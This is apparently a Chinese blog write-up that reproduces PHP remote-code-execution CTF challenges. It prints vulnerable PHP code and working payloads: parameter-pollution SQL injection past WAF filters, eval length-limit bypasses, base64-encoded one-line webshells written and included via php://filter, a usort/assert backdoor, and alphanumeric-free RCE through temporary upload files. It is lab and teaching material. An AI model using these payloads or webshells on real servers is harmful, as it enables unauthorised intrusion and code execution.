RCE漏洞复现

目录

 

贷齐乐(HTTP参数污染)

php一句话木马;eval长度限制突破方法

方法一:执行命令替换

方法二:文件内容追加+文件包含+php伪协议

方法三:PHP5.6+变长参数 + usort回调后门

eval长度限制突破方法,最多7个字符

RCE 无字母数字绕过

php7版本

通用版本解决

无参数文件读取


贷齐乐(HTTP参数污染)

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符

  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

payload

?submit=aaa&i_d=-1//union//select//1,schema_name,3//from//information.schema.schemata//&i.d=bbb

submit=aaa&i_d=-1//union//select//1,table_name,3//from//information.schema.tables//where/**/schema_name='ctf'&i.d=bbb

WAF2过滤了单引号和等号,用like模糊匹配查找,并将ctf转换为十六进制

submit=aaa&i_d=-1//union//select//1,table_name,3//from//information.schema.tables//where//schema_name//like 0x12343&i.d=bbb

1、php取最后一个参数,php会自动把i.d转换为i_d,这里实际是第二个参数,经过了waf1的过滤,而第一个参数i_d,逃过了waf1的过滤

2、$_REQUEST是按顺序取的(submit、i_d、i.d),

3、$user_id = $REQUEST['i_d'];最后从$REQUEST取i_d时,i.d不会影响其取值。

php一句话木马;eval长度限制突破方法

<?php
$param = $_REQUEST['param'];  
if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param,'assert') === false)//$param中不能包含eval和assert
{
	eval($param);
}

方法一:执行命令替换

//$_GET[1]从地址栏获取参数1=id,相当于执行`id`
payload:  ?param=echo `$_GET[1]`&1=id  或者exec(_GET[1])&1=id
//eval(`id`),eval是php中的命令执行,``是Linux中的命令执行,先php执行,在Linux执行

方法二:文件内容追加+文件包含+php伪协议

将一句话木马<?php eval(&_POST[1])用 base64编码,追加到N文件中。(file_put_contents不接受某些特殊字符,如`<)

file_put_contents(N,p,8),第一个参数为追加内容的文件,第二个参数为追加内容的base64编码,第三个参数为file_append。这里由于参数长度的限制,使用了等价于file_append的8,php中file_put_contents函数的c语言底层代码中8为file_append

include,文件包含:接收到的文件都会以这里的php文件格式执行。

foo.php?1=file_put_contents&param=$_GET[1](N,P,8);  
foo.php?1=file_put_contents&param=$_GET[1](N,D,8);

foo.php?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

foo.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
#读取N文件的内容,并将其base64解码

方法三:PHP5.6+变长参数 + usort回调后门

payload: web.php?1[]=test&1[]=phpinfo();&2=assert

param=usort(...$_GET);

usort(code, 函数),第一个参数当做参数放到第二个参数的函数执行。

...表示函数可传递可变长参数

eval长度限制突破方法,最多7个字符

<?php
$param = $_REQUEST['param']; 
if ( strlen($param) < 8 ) 
{ 
    echo shell_exec($param);
}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

>hp  >c.p\\  >\ -\\.......w>o\ \\  w>ech\\

向c.pp写入<?php eval($_GET[1]);一句话木马,重定向不支持<和?等特殊符号写入文件,所以将编码成base64编码格式,然后以base64解码读取c.php文件。

利用重定向,创建文件,ls -t然后以时间的顺序排列,就观察到会以echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php这样执行,生成一个c.php文件

RCE 无字母数字绕过

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

php7版本

这里过滤了$,之前使用的$_GET()接收参数的方法行不通了。

在php7版本下可以通过($a)();方法来执行动态函数,

将要执行的代码,这里以(phpinfo)()为例,将phpinfo字母进行url编码再取反

payload(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90这一串字符,是phpinfo进行url编码再取反。

现在对%8F%97%8F%96%91%99%90进行url编码出来为不可见字符,就绕过了。

在进入程序中,php对不可见字符取反就编译成了phpinfo

通用版本解决

那如果是php7版本以下怎么办呢?

我们可以利用文件上传方式来执行,首先我们必须清楚文件上传的过程。当文件上传到服务端后,文件会先存放到/tmp的临时目录下,经过安全检测后才决定存不存放到相应的目录下。我们就可以利用文件还存在/tmp临时目录这个时刻,来进行绕过。

首先构造一个提交文件的前端

<form action="rce1.php" method="post" enctype="multipart/form-data">       
 <input type="file" name="file" id="">        
 <input type="submit" value="submit"> 
</form>

上传文件的代码内容,执行linux的命令。(这里进行测试可以随便写)

#!/bin/bash

id

payload

?code=?><?=`.+/???/????????[@-[]`?>

执行文件生成对应的临时文件,

有两个难题:1.如何找到对应的临时文件        2.生成对应的临时文件没有执行权限

解决

eval函数的参数code,默认后面有<?php,所以要在其后面接? >进行闭合

<?php,这里的php可以等价于=;

. /tmp/phpasdse .后面加空格可以不用执行权限执行临时文件

匹配文件,我们知道临时文件的一个特性,最后一个字符是随机生成的,可能会是大写,而正常的linux文件最后一个字符都是小写。我们可以利用这个特征来匹配临时文件。[@-[]表示匹配大写字母。

注意:如果是在网站url传参,需要将payload中url不支持编码的字符进行url编码。Burpsuit软件会自动把参数编码好传递,无需编码。

无参数文件读取

题目要求,读取该目录下的flag文件

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

(?R)这个正则的意思是子递归,[^\W]()这个匹配的函数,大概意思就是必须是函数嵌套,不能有参数

scandir(‘url’):获取目录下的文件,参数需要传递路径

getcwd():获取当前目录路径

scandir(getcwd())这两个函数搭配使用,可以获取当前目录下的所有文件,但我们如何拿到flag这个文件呢?

array_flip():交换数组的键和值,

array_rand():随机返回一个数组的键

利用上述两个函数,多尝试几次就能拿到flag文件,最后再利用show_source()函数读取文件即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值